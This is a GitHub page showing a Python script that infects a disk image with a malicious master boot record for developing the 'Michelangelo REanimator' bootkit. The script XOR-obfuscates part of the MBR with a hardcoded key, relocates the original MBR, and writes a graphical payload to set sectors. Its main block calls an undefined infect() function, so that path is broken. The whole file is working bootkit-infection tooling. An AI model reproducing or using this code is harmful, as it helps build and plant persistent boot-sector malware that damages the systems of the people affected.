-
Notifications
You must be signed in to change notification settings - Fork 8
/
infect_mbr_reanimator.py
executable file
·108 lines (96 loc) · 4.55 KB
/
infect_mbr_reanimator.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
#!/usr/bin/python
import re, sys, os
import argparse
#####################################################################
# infect writes a malicious MBR to the disk image
# a disk image can be created with bximage, qemu-img,
# or another tool
#
# ##The code was based on the script from
# "Rootkits and Bootkits"(Page 213)
# written by Alex Matrosov, Eugene Rodionov and Sergey Bratus
# I have adapted the script and added additional features
# including functions that are used to test encryption/decryption
# functionality and routines of the viral MBR for the
# Michelangelo REanimator bootkit
#####################################################################
def vxinfect(mal_mbr, disk_img, sector_number):
with open(mal_mbr, 'rb') as mbr_file:
mbr=mbr_file.read()
with open(disk_img, "r+b") as disk_img_file:
#disk_img_file.seek(0)
diskadr_offset=sector_number*512
disk_img_file.seek(diskadr_offset)
disk_img_file.write(mbr)
return 0
##hardcoding these vals for now
mbr_crypt_len=0x9c
crypt_offset=0x24
testkey=0x12
#def mbr_encrypt(mbr, crypt_offset, mbr_crypt_len):
def mbr_encrypt(mbr):
## print("Initial MBR bytes: {0} \n\n".format(mbr))
end_byte_index=crypt_offset+mbr_crypt_len
mbr_crypt_buf=mbr[crypt_offset:end_byte_index]
## print("Initial MBR crypting region bytes: {0} \n\n".format(mbr_crypt_buf))
decryption_key=bytes([testkey])*(mbr_crypt_len)
## print("decryption key: {0}".format(decryption_key))
fixed_xor_lambda=lambda x: x[0]^x[1]
encrypted_mbr = bytes(fixed_xor_lambda((a,b)) for a,b in zip(decryption_key, mbr_crypt_buf))
## print("Final MBR crypting region bytes: {0} \n\n".format(encrypted_mbr))
mbr_start=mbr[:crypt_offset]
mbr_end=mbr[end_byte_index:]
entire_mbr=mbr_start+encrypted_mbr+mbr_end
## print(entire_mbr)
#return mbr
return entire_mbr
def vxinfect_this_time_with_feeling(mal_mbr, disk_img, sector_number, og_mbr, og_mbr_sector_number, vxpaint, vxsector_number):
with open(mal_mbr, 'rb') as mbr_file:
mbr=mbr_file.read()
crypted_mbr=mbr_encrypt(mbr)
with open(og_mbr, 'rb') as ogmbr_file:
ogmbr=ogmbr_file.read()
with open(vxpaint, 'rb') as vxpaintfile:
vxpainting=vxpaintfile.read()
with open(disk_img, "w+b") as disk_img_file:
#disk_img_file.seek(0)
diskadr_offset=sector_number*512
disk_img_file.seek(diskadr_offset)
disk_img_file.write(crypted_mbr)
og_mbr_offset=og_mbr_sector_number*512
disk_img_file.seek(og_mbr_offset)
disk_img_file.write(ogmbr)
vxpaint_offset=vxsector_number*512
#print("vxpaint_offset : {0}".format(vxpaint_offset))
#print("vxpaint len : {0}".format(len(vxpainting)))
disk_img_file.seek(vxpaint_offset)
#print("vxpaint_offset : {0}".format(vxpaint_offset))
disk_img_file.write(vxpainting)
return 0
def setup_options():
parser = argparse.ArgumentParser(description='Infects a disk image with a malicious MBR; to be used for bootkit development/debugging/dynamic analysis')
parser.add_argument('-mbr', type=str, help='path of malicious MBR file to be written to the target disk image')
parser.add_argument('-ogmbr', type=str, help='path of original saved MBR file to be written back to the target disk image')
parser.add_argument('-vxpaint', type=str, help='path of graphical payload to be displayed by vx graphics routines in the target disk image')
parser.add_argument('-diskimg', type=str, help='path of target disk image to be infected with the malicious MBR')
parser.add_argument('-sector', type=int, help='starting sector on cylinder 0, head 0 of disk to write payload to')
parser.add_argument('-ogmbrsector', type=int, help='starting sector on cylinder 0, head 0 of disk to write saved copy of original MBR to')
parser.add_argument('-vxpaintsector', type=int, nargs='?', help='starting sector of vxpaint graphical payload, on cylinder 0, head 0 of disk to write payload to')
parser.add_argument('-vxpaintnum', type=int, nargs='?', required=False, help='Number of sectors reserved for vxpaint graphical payload, cylinder 0, head 0 of disk to write payload to')
args = parser.parse_args()
return parser, args
if __name__ == '__main__':
parser, args = setup_options()
mal_mbr=args.mbr
og_mbr=args.ogmbr
disk_img=args.diskimg
sector=args.sector
og_mbr_sector=args.ogmbrsector
vx_paint=args.vxpaint
vx_paintsector=args.vxpaintsector
vx_paintnum=args.vxpaintnum
if vx_paint == None:
infect(mal_mbr, disk_img, sector)
else:
#vxinfect_this_time_with_feeling(mal_mbr, disk_img, sector, vx_paint, vx_paintsector)
vxinfect_this_time_with_feeling(mal_mbr, disk_img, sector, og_mbr, og_mbr_sector, vx_paint, vx_paintsector)